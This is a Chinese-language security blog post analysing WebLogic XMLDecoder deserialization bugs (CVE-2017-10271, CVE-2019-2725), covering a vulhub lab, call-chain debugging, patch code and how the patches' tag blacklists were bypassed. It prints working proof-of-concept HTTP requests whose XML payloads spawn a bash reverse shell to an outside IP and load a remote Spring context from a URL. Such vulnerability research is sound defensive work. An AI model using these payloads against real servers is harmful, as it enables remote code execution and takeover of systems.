Hu3sky's blog

WebLogic-XMLDecoder反序列化分析

Word count: 1,806 / Reading time: 10 min
2019/10/16 Share

关于

Oracle WebLogic Server(以下简称WebLogic)是一个可扩展的企业级Java平台(Java EE)应用服务器。其完整实现了Java EE 5.0规范,并且支持部署多种类型的分布式应用程序。

版本

一般使用的是10.3.6
这两个大版本也叫WebLogic Server 11g和WebLogic Server 12c。

CVE-2017-10271

漏洞描述

漏洞引发的原因是Weblogic“wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中“XMLDecoder”类进行XML反序列化操作引发了代码执行

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档

一个例子
Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class XmlTest {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("/Users/hu3sky/IdeaProjects/Reflect/out/production/Reflect/Test.xml")));
Object result = d.readObject();
d.close();
}
}

Test.xml(也就是后面的poc里的xml)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/sh -i &gt; /dev/tcp/47.108.89.178/1234 2&lt;&amp;1 0&lt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>

反序列化后

image

xmldecoder支持的标签,在/Library/Java/JavaVirtualMachines/jdk1.8.0_221.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/beans/decoder/DocumentHandler.class#DocumentHandler
image

环境搭建

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
需要远程动态调试,修改docker-compose

1
2
3
4
5
6
7
8
9
10
11
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
links:
- web
web:
image: vulhub/thinkphp:5.0.20

docker-compose up -d
出现如下页面
image
修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 文件
添加

1
2
debugFlag="true"
export debugFlag

image

并且运行该sh,并且重启容器,成功开启
image

将源码拉出来

1
2
root@vultr:~# docker cp 3f5463222074:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars
root@vultr:~# docker cp 3f5463222074:/root/Oracle/Middleware/modules ./modules

把/server/lib和modules都添加到Library里
image

添加一个Reomte
image
修改
image
测试能否击中断点
image

漏洞复现

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 648

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/sh -i &gt; /dev/tcp/xxx.xxx.xxx.xx/1234 2&lt;&amp;1 0&lt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image

image

漏洞分析

根据poc发现问题出在wls-wsat
通过回显报错看出调用链如下
image

/server/lib/wls-wsat.war!/WEB-INF/web.xml
image

直接看到调用栈第一个
/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:processRequest
image

var3是soap头部解析的结果 不为空 于是 跟入readHeaderOld
image

实例化了WorkContextXmlInputAdapter
ByteArrayOutputStream var4的内容是
image
也就是poc的关键部分

image

接着跟进receive
var2获取了一个WorkContextMapImpl实例,并且调用了receiveRequest方法,将var1的值传入

image
继续跟进receiveRequest
image
接着跟入readEntry
image
再跟入readUTF
image
调用了XMLDecoderreadObject。这里会反序列化xml
image

解析xml的调用栈
image

补丁分析

针对CVE-2017-3506

weblogic/wsee/workarea/WorkContextXmlInputAdapter.java增加了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

在解析xml的过程中,如果Element字段值为Object就抛出异常,这是针对10271之前的,看看直接的payload

1
2
3
4
5
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
...
</java>

这里的标签就出现了object,再看看10271的

1
2
3
4
5
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
...
</java>

这就被绕过了

针对 CVE-2017-10271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public WorkContextXmlInputAdapter(InputStream var1) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();

try {
boolean var3 = false;

for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {
var2.write(var5);
}
} catch (Exception var4) {
throw new IllegalStateException("Failed to get data from input stream", var4);
}

this.validate(new ByteArrayInputStream(var2.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));
}

private void validate(InputStream var1) {
WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();

try {
SAXParser var3 = var2.newSAXParser();
var3.parse(var1, new DefaultHandler() {
private int overallarraylength = 0;

public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
if (var3.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (var3.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (var3.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
//void后只能跟index属性
if (var3.equalsIgnoreCase("void")) {
for(int var5 = 0; var5 < var4.getLength(); ++var5) {
if (!"index".equalsIgnoreCase(var4.getQName(var5))) {
throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));
}
}
}
//array后面只能跟class属性 并且类型必须是byte
if (var3.equalsIgnoreCase("array")) {
String var9 = var4.getValue("class");
if (var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

String var6 = var4.getValue("length");
if (var6 != null) {
try {
int var7 = Integer.valueOf(var6);
if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}

this.overallarraylength += var7;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
;

补充了validate函数,对于objectnew,method,void,array字段抛出异常,无法生成java实例

CVE-2019-2725(wls9_async组件)

受影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

image

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 728
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>http://xxxx</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

image

class标签可以实例化类,而class标签并没有在黑名单中
绕过的主要原因就是因为补丁对于voidarray标签的检测

1
2
3
4
5
6
7
if (var3.equalsIgnoreCase("void")) {
for(int var5 = 0; var5 < var4.getLength(); ++var5) {
if (!"index".equalsIgnoreCase(var4.getQName(var5))) {
throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));
}
}
}

这里先检测了void标签,接着做了一个for循环,当属性为空的时候,能直接绕过。也就不会进入异常

Reference

CATALOG
  1. 1. 关于
  2. 2. 版本
  3. 3. CVE-2017-10271
    1. 3.1. 漏洞描述
    2. 3.2. 环境搭建
    3. 3.3. 漏洞复现
    4. 3.4. 漏洞分析
    5. 3.5. 补丁分析
      1. 3.5.1. 针对CVE-2017-3506
      2. 3.5.2. 针对 CVE-2017-10271
  4. 4. CVE-2019-2725(wls9_async组件)
  5. 5. Reference